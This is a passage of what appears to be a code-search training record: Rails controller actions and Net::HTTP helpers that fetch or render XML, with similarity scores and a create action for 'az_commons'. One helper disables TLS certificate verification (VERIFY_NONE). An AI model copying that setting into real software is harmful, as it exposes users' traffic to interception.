"def index\n @lookup_scantasks = LookupScantask.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lookup_scantasks }\n end\n end",
"def index\n respond_to do |format|\n format.html\n format.xml\n end\n end",
"def make_request_get_response_trend_availible\n @path_trend_availible = '/1.1/trends/available.json'\n @address_trend_availible = URI(\"#{@baseurl}#{@path_trend_availible}\")\n # Set up HTTP. Need ssL to make the connection\n @request_trend_availible = Net::HTTP::Get.new @address_trend_availible.request_uri\n @http = Net::HTTP.new @address_trend_availible.host, @address_trend_availible.port\n @http.use_ssl = true\n @http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n # Issue the request.\n @request_trend_availible.oauth! @http, @consumer_key_country, @access_token_country\n @http.start\n @response_trend_availible = @http.request @request_trend_availible\n @response_trend_availible\n end",
"def index\n @aclparts = Aclpart.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @aclparts }\n end\n end",
"def config\n respond_to { |format| format.xml }\n end",
"def index\n @active_page = :versions\n\n respond_to do |format|\n format.html\n format.xml do\n find_versions\n @versions_count = @versions.size\n @versions = @versions[ @page_limit * (@current_page - 1), @page_limit ].to_a\n render :action => :index, :layout => false\n end\n end\n end",
"def index\n ## BUILD MASTER HASH WITH ALL SUB-PARAMS ##\n allparams = {}\n allparams[:mainmodel] = ServiceServiceAssignment\n allparams[:webparams] = params\n results = Search.new(allparams).search\n\n flash[:error] = results[:errors].join('<br />') unless results[:errors].empty?\n includes = results[:includes]\n results[:requested_includes].each_pair{|k,v| includes[k] = v}\n @objects = results[:search_results]\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @objects.to_xml(:dasherize => false) }\n end\n end",
"def fetch_bart_stations\n bart_url = 'http://bart.gov/dev/eta/bart_eta.xml'\n\n xml_data = Net::HTTP.get_response(URI.parse(bart_url)).body\n xml_doc = REXML::Document.new(xml_data)\n\n stations = xml_doc.records('station')\n stations.each_with_index do |station, index|\n etas = xml_doc.records(\"//station[#{index + 1}]/eta\")\n stations[index].merge!({ \"eta\" => etas })\n end\n \n return stations\nend",
"def xml\n\t\theaders[\"Content-Type\"] = \"text/xml; charset=utf-8\"\n\t\trender :layout => false\n\tend",
"def index\n @collections = get_collections(@state);\n respond_to do |format| \n respond_do(format, @collections)\n end \n end",
"def index\n @clusters = Cluster.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @clusters }\n end\n end",
"def getJobApi (options)\n uri = options[:job] + \"?depth=\" + options[:depth].to_s\n job_uri = URI.parse(uri)\n http = Net::HTTP.new(job_uri.host, job_uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new(job_uri.request_uri)\n request.basic_auth @username, @password\n response = http.request(request)\n job_xml=XmlSimple.xml_in(response.body)\n return job_xml\n end",
"def root; get(\"\"); end",
"def index\n @cuentas = Cuenta.all\n\n @cadena = getcuentasxml\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @cadena }\n end\n end",
"def index\n @xml_samples = XmlSample.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @xml_samples }\n format.xml { render xml: @xml_samples }\n end\n end",
"def opensearch\n respond_to do |format|\n format.xml { render layout: false }\n format.json { render json: search_service.opensearch_response }\n end\n end",
"def index\n endpoint(get(services_url).body)\n end",
"def read(id=nil)\n request = Net::HTTP.new(@uri.host, @uri.port)\n if id.nil?\n response = request.get(\"#{@uri.path}.xml\")\n else\n response = request.get(\"#{@uri.path}/#{id}.xml\")\n end\n\n response.body\n end",
"def index\n @provider_stats = ProviderStat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @provider_stats }\n end\n end",
"def request(params = {})\n params.merge!(default_params)\n\n uri = URI.parse(base_uri)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n\n encoded = URI.encode_www_form(params)\n path = [uri.path, encoded].join(\"?\")\n\n request = Net::HTTP::Get.new(path)\n\n STDERR.puts path if debug?\n\n response = http.request(request) \n\n case response.code.to_i\n when 200\n STDERR.puts response.body if debug?\n\n response = MultiXml.parse(response.body)\n if response[\"interface_response\"][\"ErrCount\"].to_i == 0\n return response\n else\n raise InterfaceError, response[\"interface_response\"][\"errors\"].values.join(\", \")\n end\n end\n end",
"def index\n @components_saddles = Components::Saddle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @components_saddles }\n end\n end",
"def index\n ## BUILD MASTER HASH WITH ALL SUB-PARAMS ##\n allparams = {}\n allparams[:mainmodel] = UtilizationMetricsByNodeGroup\n allparams[:webparams] = params\n results = Search.new(allparams).search\n\n flash[:error] = results[:errors].join('<br />') unless results[:errors].empty?\n includes = results[:includes]\n results[:requested_includes].each_pair{|k,v| includes[k] = v}\n @objects = results[:search_results]\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @objects.to_xml(:dasherize => false) }\n end\n end",
"def get(method, params = {})\n @http ||= Net::HTTP::Persistent.new\n\n url = make_url method, params\n\n http_response = @http.request url\n\n case http_response\n when Net::HTTPSuccess\n res = Nokogiri::XML http_response.body, nil, nil, 0\n\n check_error res\n\n parse_response res\n when Net::HTTPMovedPermanently,\n Net::HTTPFound,\n Net::HTTPSeeOther,\n Net::HTTPTemporaryRedirect then\n # TODO\n else\n begin\n xml = Nokogiri::XML http_response.body, nil, nil, 0\n check_error xml\n rescue Nokogiri::XML::SyntaxError => e\n end\n\n e = CommunicationError.new http_response\n e.message << \"\\n\\nunhandled error:\\n#{xml.to_s}\"\n\n raise e\n end\n rescue Net::HTTP::Persistent::Error, SocketError, Timeout::Error,\n Nokogiri::XML::SyntaxError => e\n raise CommunicationError.new(e)\n end",
"def service_document\n response = get(@url.to_s)\n response.body\n end",
"def download_xml\n\t\turi = URI.parse(\"http://www.esmadrid.com/opendata/tiendas_v1_es.xml\")\n\t\tresponse = Net::HTTP.get_response(uri)\n\t\tcontent = response.body\n\n\t\txml = REXML::Document.new(content)\n\n\t\treturn xml\n\tend",
"def get_accounts\n response_xml = http_get(\"#{xero_url}/accounts\")\n parse_response(response_xml)\n end",
"def get\n Iterable.request(conf, base_path).get\n end",
"def get\n Iterable.request(conf, base_path).get\n end",
"def url\n Addressable::URI.new :scheme => 'http',\n :host => endpoint.host,\n :path => '/onca/xml',\n :query_values => parameters\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ciclos }\n end\n end",
"def list(name)\n #Card.where(\"X-ADDRESSBOOKSERVER-KIND\" => \"group\")\n if name\n query = Nokogiri::XML::Builder.new(:encoding => \"UTF-8\") do |xml|\n #xml.send('B:addressbook-query', 'xmlns:B' => \"urn:ietf:params:xml:ns:carddav\") do\n xml.send('D:principal-property-search', 'xmlns:D' => \"DAV:\") do\n xml.send('D:property-search') do\n xml.send('D:prop') do\n xml.send('D:displayname')\n end\n xml.send('D:match') do\n xml << name\n end\n end\n xml.send('D:prop') do\n xml.send('C:addressbook-home-set', 'xmlns:C' => 'urn:ietf:params:xml:ns:carddav')\n xml.send('D:displayname')\n end\n \n end\n \n #end\n\n end\n else\n query = Nokogiri::XML::Builder.new(:encoding => \"UTF-8\") do |xml|\n xml.send('A:propfind', 'xmlns:A' => 'DAV:') do\n xml.send('A:prop') do\n xml.send('D:addressbook-home-set', 'xmlns:D' => \"urn:ietf:params:xml:ns:carddav\")\n xml.send('D:directory-gateway', 'xmlns:D' => \"urn:ietf:params:xml:ns:carddav\")\n xml.send('A:displayname')\n xml.send('C:email-address-set', 'xmlns:C' => \"http://calendarserver.org/ns/\")\n xml.send('A:principal-collection-set')\n xml.send('A:principal-URL')\n xml.send('A:resource-id')\n xml.send('A:supported-report-set')\n end\n end\n end\n end\n \n headers = {\n \"content-Type\" => \"text/xml; charset=\\\"utf-8\\\"\",\n \"depth\" => 0,\n \"brief\" => \"t\",\n \"Content-Length\" => \"#{query.to_xml.to_s.size}\"\n }\n content = @client.request('REPORT', @uri, nil, query.to_xml.to_s, headers)\n puts content.body + \"<<<<<\\n\\n\"\n xml = Nokogiri::XML(content.body)\n vcards = []\n xml.xpath('//C:address-data').each do |card|\n vcards << Card.new(card.text)\n end\n return vcards\n end",
"def get_flows()\n\tputs \"Getting flows\"\n\tresponse = request_get('/api/partner/flow')\n\tputs response.body\nend",
"def index\n @catalogs = Catalog.paginate :page => params[:page]\n @title = \"Каталог\"\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @catalogs }\n end\n end",
"def show\n @config_xml = ConfigXml.find(params[:id])\n #@config_xml.xmlstring=base64Encode(@config_xml.xmlstring)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @config_xml }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @directories }\n end\n end",
"def index\n @compliances = Compliance.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @compliances }\n end\n end"
] |
[
"0.6588384",
"0.6474953",
"0.6219437",
"0.62064445",
"0.6124817",
"0.6092717",
"0.5976041",
"0.5964822",
"0.5906616",
"0.590409",
"0.58637714",
"0.5830161",
"0.58263284",
"0.5785629",
"0.57346416",
"0.5682439",
"0.5677263",
"0.56707776",
"0.56703067",
"0.56425816",
"0.5607737",
"0.56001276",
"0.55856836",
"0.5578363",
"0.5567637",
"0.5563151",
"0.55518866",
"0.55380315",
"0.5532482",
"0.5527872",
"0.5507717",
"0.5504611",
"0.5492037",
"0.54894966",
"0.54857206",
"0.548054",
"0.54766655",
"0.5471077",
"0.5466799",
"0.5460101",
"0.5454365",
"0.54432225",
"0.5442705",
"0.54424787",
"0.5440449",
"0.54299927",
"0.54277694",
"0.5426056",
"0.5413019",
"0.5402927",
"0.540088",
"0.53941876",
"0.5385313",
"0.53840476",
"0.5379725",
"0.53732324",
"0.53721726",
"0.537161",
"0.5362957",
"0.53611505",
"0.53606534",
"0.5360101",
"0.53560287",
"0.53508157",
"0.5347013",
"0.5346418",
"0.5341999",
"0.5337821",
"0.5335986",
"0.53332764",
"0.53298235",
"0.53278846",
"0.53268397",
"0.53205013",
"0.5317628",
"0.53154624",
"0.5313258",
"0.5309496",
"0.530873",
"0.53066134",
"0.5305489",
"0.5302157",
"0.530079",
"0.5298789",
"0.5294012",
"0.5291305",
"0.52869606",
"0.5283296",
"0.52801913",
"0.52782935",
"0.5271291",
"0.5261282",
"0.5261282",
"0.5258853",
"0.525769",
"0.5252922",
"0.5248904",
"0.52466214",
"0.5239675",
"0.5237314",
"0.5237187"
] |
0.0
|
-1
|
GET /az_commons/new GET /az_commons/new.xml
|
def new
@az_common = get_class(params).new
@az_common.owner_id = params[:owner_id]
@az_common.az_base_project_id = params[:az_base_project_id]
prepare_new_data(@az_common)
respond_to do |format|
format.html { render :template => 'az_commons/new'}
format.xml { render :xml => @az_common }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end",
"def new\n @config_xml = ConfigXml.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @config_xml }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @system }\n end\n end",
"def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end",
"def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end",
"def new\n @resp = Response.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resp }\n end\n end",
"def new\n logger.debug 'new_some interesting information'\n @comdty = Comdty.new\n setvariables\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @comdty }\n end\n end",
"def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end",
"def newX\n @server = Server.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @server }\n end\n end",
"def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new_rest\n @item_usage = ItemUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_usage }\n end\n end",
"def new\n @api = Api.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @api }\n end\n end",
"def get_all_new\n uri = [@@base_uri, 'all', 'getAllNew'].join('/')\n return get(uri)\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml \n end\n end",
"def new_rest\n @entry_instrument = EntryInstrument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_instrument }\n end\n end",
"def new\n respond_to do |format|\n format.html\n format.xml\n end\n end",
"def new\n @rssnew = Rssnews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rssnew }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @page }\n end\n end",
"def new\n @scraper = Scraper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scraper }\n end\n end",
"def new\n @response = Response.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @response }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @chronopay_link }\n end\n end",
"def new\n @copy = Copy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @copy }\n end\n end",
"def create_doc\n\t\theaders = {:content_type => 'application/xml'}\n\t\turi = CGI.escape(\"/\" + rand(2).to_s() + \"/\" + rand(10).to_s() + \"/\" + rand(1000000).to_s() + \".xml\")\n\t\tresponse = @resource[\"/documents/\" + uri].put('<stuff xmlns=\"stuff\">' + uri + '</stuff>', headers)\n\t\treturn uri\n\tend",
"def new_rest\n @entry_item = EntryItem.new\n\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @entry_item }\n end\n end",
"def new_rest\n @question_localized = QuestionLocalized.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question_localized }\n end\n end",
"def new\n @request = Request.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end",
"def new\n @server_rack = ServerRack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @server_rack }\n end\n end",
"def new\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml\n end\n end",
"def new_rest\n @page_usage_event = PageUsageEvent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page_usage_event }\n end\n end",
"def new\n @newz = Newz.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @newz }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @crawl_result = Crawl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @crawl_result }\n end\n end",
"def new\n @xml_sample = XmlSample.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @xml_sample }\n end\n end",
"def new\n @namespace = Namespace.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @namespace }\n end\n end",
"def new\n @tso = Tso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tso }\n end\n end",
"def new\n @svn_module = SvnModule.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @svn_module }\n end\n end",
"def new\n @lab_rack = LabRack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lab_rack }\n end\n end",
"def new\n @nossos_servico = NossosServico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nossos_servico }\n end\n end",
"def new\n respond_to do |format|\n format.html { render :layout => 'application' }\n format.xml { render :xml => @recommand }\n end\n end",
"def new\n @url_migration = UrlMigration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_migration }\n end\n end",
"def newsrss\n # already have global $news = News.returnNews\n render_without_layout\n @headers[\"Content-Type\"] = \"application/xml; charset=utf-8\" \n\n end",
"def new\n @service_version = ServiceVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service_version }\n end\n end",
"def new\n @response = Response.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @response }\n end\n end",
"def new\n @page = Page.new(:status => params[:from])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @echo = Echo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @echo }\n end\n end",
"def new\n @page = @offering.pages.new\n session[:breadcrumbs].add \"New\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @alfresco = Alfresco.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @alfresco }\n end\n end",
"def new\n @page = Page.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end",
"def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end",
"def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end",
"def new\n @curso = Curso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @curso }\n end\n end",
"def new\n return false unless authorize(permissions = [\"administer_catalog\"])\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ciclo }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n \n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @software }\n end\n end",
"def new\n @network = Network.new\n @service = Fileservice.new(@network)\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @network }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |wants|\n wants.html # new.html.erb\n wants.xml { render :xml => @page }\n end\n end",
"def new\n @url_search = UrlSearch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_search }\n end\n end",
"def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @ccl = Ccl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ccl }\n end\n end",
"def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ontology }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @query = Query.new\n @discActions = DiscoveryActions.new\n $DATA_SERVICES ||= @discActions.getDataServices\n @services = $DATA_SERVICES\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @query }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @show }\n end\n end",
"def new\n new_prc\n\n setup_campuses_and_semesters\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prc }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @get_started_page }\n end\n end",
"def new\n @atest = Atest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atest }\n end\n end",
"def new\n @discovery = Discovery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discovery }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @compliance }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instituto }\n end\n end",
"def new\n @service_checker = ServiceChecker.new(:strict => \"0\", :checker_type => \"0\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service_checker }\n end\n end",
"def new\n @nostro = Nostro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nostro }\n end\n end",
"def new\n @cluster = Cluster.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cluster }\n end\n end",
"def new\n @title = \"New Networks\"\n @network = Network.new\n @computers = Computer.find(:all)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @network }\n end\n end",
"def new\n @_template = @site.templates.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @_template }\n end\n end",
"def new\n @title = \"New Operations\"\n @operation = Operation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @operation }\n end\n end",
"def new\n @latestinfo = Latestinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @latestinfo }\n end\n end",
"def new\n @reqinfo = Reqinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reqinfo }\n end\n end",
"def new\n @page = current_cms.pages.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @cloud = Cloud.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cloud }\n end\n end",
"def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end",
"def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site }\n end\n end"
] |
[
"0.7007069",
"0.6624524",
"0.6441859",
"0.6420778",
"0.6377737",
"0.6377737",
"0.6353533",
"0.6316274",
"0.6303567",
"0.6289457",
"0.6280265",
"0.62800884",
"0.62309206",
"0.62177575",
"0.6211435",
"0.6211116",
"0.62059766",
"0.6202678",
"0.6191449",
"0.6170333",
"0.6168102",
"0.61638343",
"0.61528516",
"0.61505866",
"0.61370546",
"0.61362714",
"0.61297905",
"0.6123403",
"0.61185056",
"0.61146986",
"0.61139035",
"0.6113805",
"0.61123484",
"0.61123484",
"0.61115134",
"0.61115134",
"0.61115134",
"0.6102487",
"0.60950357",
"0.6087008",
"0.6077516",
"0.6076408",
"0.6076206",
"0.6067972",
"0.60677916",
"0.60656434",
"0.60613286",
"0.6053326",
"0.60529083",
"0.6051335",
"0.6049596",
"0.6047304",
"0.60402286",
"0.60354793",
"0.60344976",
"0.60344976",
"0.60344976",
"0.6029995",
"0.60282266",
"0.60251886",
"0.6020862",
"0.6016481",
"0.60151803",
"0.6012603",
"0.6008449",
"0.6004788",
"0.6004788",
"0.6002225",
"0.6002147",
"0.6001441",
"0.5995359",
"0.5995359",
"0.5995359",
"0.5995359",
"0.5995359",
"0.5995359",
"0.59946907",
"0.5994232",
"0.59928936",
"0.5992449",
"0.5984968",
"0.5980868",
"0.59799856",
"0.597148",
"0.5971204",
"0.59665406",
"0.59608734",
"0.59561956",
"0.59550816",
"0.5952509",
"0.595002",
"0.59487444",
"0.5948356",
"0.5947879",
"0.59473336",
"0.59473336",
"0.5942337",
"0.5942337",
"0.5942337",
"0.5942337"
] |
0.6183348
|
19
|
POST /az_commons POST /az_commons.xml
|
def create
@az_common = get_class(params).new(params[params[:controller].singularize])
respond_to do |format|
if @az_common.save
flash[:notice] = 'Запись успешно создана.'
format.html { redirect_to(@az_common) }
format.xml { render :xml => @az_common, :status => :created, :location => @az_common }
else
prepare_new_data(@az_common)
format.html { render :action => "new", :template => 'az_commons/new'}
format.xml { render :xml => @az_common.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end",
"def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def post_xml(url, ls_data)\n uri = URI.parse(url)\n request = Net::HTTP::Post.new(uri.request_uri, HEADER_XML)\n request.body = ls_data\n request.basic_auth(@nsx_user, @nsx_password)\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => true,\n :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |https|\n https.request(request)\n end\n return response.body if check_response(response, 201)\n end",
"def post_config(url_prefix, xml)\n post_data(url_prefix, xml, 'application/xml;charset=UTF-8')\n end",
"def send_request( xml )\n write( xml )\n read\n end",
"def send_post(data_xml,url)\r\n result = @client.post(self.target_uri(url), :body => data_xml , :head => {'Content-Type' => 'application/xml'} ) \r\n raise \"Invalid status #{result.http_status} from server #{@host}:#{@port}\" if(result.http_status != '200') \r\n #reply = Reply.from_xml(result.http_body)\r\n if block_given?\r\n yield(result.http_body)\r\n else\r\n result.http_body\r\n end\r\n end",
"def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x|\n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x|\n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end",
"def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x| \n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x| \n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end",
"def post_headers\n {\"Content-Type\" => 'text/xml; charset=utf-8'}\n end",
"def post_xml_64(xml=:example_response)\n post \"/auth/saml/callback\", {'SAMLResponse' => load_xml_64(xml)}\nend",
"def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/loan/v1\")\n end",
